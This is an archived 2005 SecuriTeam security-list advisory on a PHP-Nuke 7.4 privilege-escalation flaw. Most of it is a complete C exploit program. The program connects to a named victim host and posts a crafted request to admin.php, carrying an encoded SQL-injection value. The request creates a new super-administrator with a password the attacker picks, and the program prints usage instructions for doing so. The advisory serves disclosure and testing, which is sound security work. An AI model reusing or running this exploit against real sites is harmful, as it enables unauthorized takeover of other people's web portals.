

[EXPL] PHP-Nuke POST Method Admin Variable Privilege Escalation

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-02/0050.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 02/14/05

To: list@securiteam.com

Date: 14 Feb 2005 11:32:23 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

PHP-Nuke POST Method Admin Variable Privilege Escalation

SUMMARY

PHP-Nuke contains a flaw that allows a malicious user to gain access to unauthorized privileges. The vulnerability is triggered by a user submitting a specially crafted POST request to the admin.php script. The following exploit code can be used to test your system for the mentioned vulnerability.

DETAILS

Vulnerable Systems:

- * PHP-NUKE version 7.4

Exploit:

```
/******
```

```
* *
```

```
* phpNUKE v7.4 exploit *
```

```
* *
```

```
* this exploit create new admin with relative *
```

```
* passwd that you specified on parameter of exploit *
```

```
* you take administrative control of the webPortal *
```

Securiteam: [EXPL] PHP-Nuke POST Method Admin Variable Privilege Escalation

```
* *
* coded by: Silentium of Anacron Group Italy *
* date: 07/02/2005 *
* e-mail: anacrongroupitaly[at]autistici[dot]org *
* my_home: www.autistici.org/anacron.group-italy *
* *
* this tool is developed under GPL license *
* no(c) .. copyleft *
* *
*****/
```

```
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>

#define PORT 80 // port of web server

void info(void);
void sendxpl(FILE *out, char *argv[]);
void errsock(void);
void errgeth(void);
void errconn(char *argv[]);

int main(int argc, char *argv[]){

FILE *out;
int sock, sockconn;
struct sockaddr_in addr;
struct hostent *hp;

if(argc!=5)
    info();

if((sock = socket(AF_INET,SOCK_STREAM,0)) < 0)
    errsock();

    system("clear");
    printf("[*] Creating socket [OK]\n");

if((hp = gethostbyname(argv[1])) == NULL)
    errgeth();

    printf("[*] Resolving victim host [OK]\n");

memset(&addr,0,sizeof(addr));
memcpy((char *)&addr.sin_addr,hp->h_addr,hp->h_length);
addr.sin_family = AF_INET;
addr.sin_port = htons(PORT);
```

Securiteam: [EXPL] PHP-Nuke POST Method Admin Variable Privilege Escalation

```
sockconn = connect(sock,(struct sockaddr *)&addr,sizeof(addr));
if(sockconn < 0)
    errconn(argv);

    printf("[*] Connecting at victim host [OK]\n");

out = fdopen(sock,"a");
setbuf(out,NULL);

sendxpl(out,argv);

    printf("[*] Now check your username and password\n"
        " on http://%s%s\n",argv[1],argv[2]);

shutdown(sockconn,2);
close(sockconn);

return 0;

}

void info(void){

system("clear");
printf("#####\n"
    "# phpNUKE v7.4 exploit #\n"
    "#####\n"
    "# this exploit create an admin with #\n"
    "# the relative password, for your fun. #\n"
    "# exploit coded by Silentium #\n"
    "# Anacron Group Italy #\n"
    "# www.autistici.org/anacron-group-italy #\n"
    "#####\n"
    "[Use]\n\n"
    " silePNUKEexpl <victim_host> <path_adminpage> <username>
<password>\n\n"
    "[example]\n\n"
    " silePNUKEexpl www.victim.com /admin.php sile silePass\n\n");
exit(1);

}

void sendxpl(FILE *out, char *argv[]){

int size = 145;

size+=sizeof(argv[3]);
size+=sizeof(argv[4]);

    fprintf(out,"POST %s HTTP/1.0\n"
        "Connection: Keep-Alive\n"
```

Securiteam: [EXPL] PHP-Nuke POST Method Admin Variable Privilege Escalation

```
"Pragma: no-cache\n"
"Cache-control: no-cache\n"
"Accept: text/html, image/jpeg, image/png, text/*,
image/*, */*\n"
"Accept-Encoding: x-gzip, x-deflate, gzip, deflate,
identity\n"
"Accept-Charset: iso-8859-1, utf-8;q=0.5, */q=0.5\n"
"Accept-Language: en\n"
"Host: %s\n"
"Content-Type: application/x-www-form-urlencoded\n"
"Content-Length: %d\n\n"

"add_aid=%s&add_name=morte&add_pwd=%s&add_email=email%%40mail.com&admin="
"eCcgVU5JT04gU0VMRUNUIDEvKjox&add_radminsuper=1&op=AddAuthor&Submit="
"Create+Admin\n\n",argv[2],argv[1],size,argv[3],argv[4]);

printf("[*] Sending exploit [OK]\n\n");

}

void errsock(void){

system("clear");
printf("[x] Creating socket [FAILED]\n\n");
exit(1);

}

void errgeth(void){

printf("[x] Resolving victim host [FAILED]\n\n");
exit(1);

}

void errconn(char *argv[]){

printf("[x] Connecting at victim host [FAILED]\n\n",argv[1]);
exit(1);

}
```

ADDITIONAL INFORMATION

The information has been provided by
<<mailto:anacrongroupitaly@autistici.org>> ilentium of Anacron Group Italy.
The original article can be found at:
<http://www.autistici.org/anacron-group-italy/file/source/silePNUKEexpl_v7.4.c>
http://www.autistici.org/anacron-group-italy/file/source/silePNUKEexpl_v7.4.c

Securiteam: [EXPL] PHP-Nuke POST Method Admin Variable Privilege Escalation

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.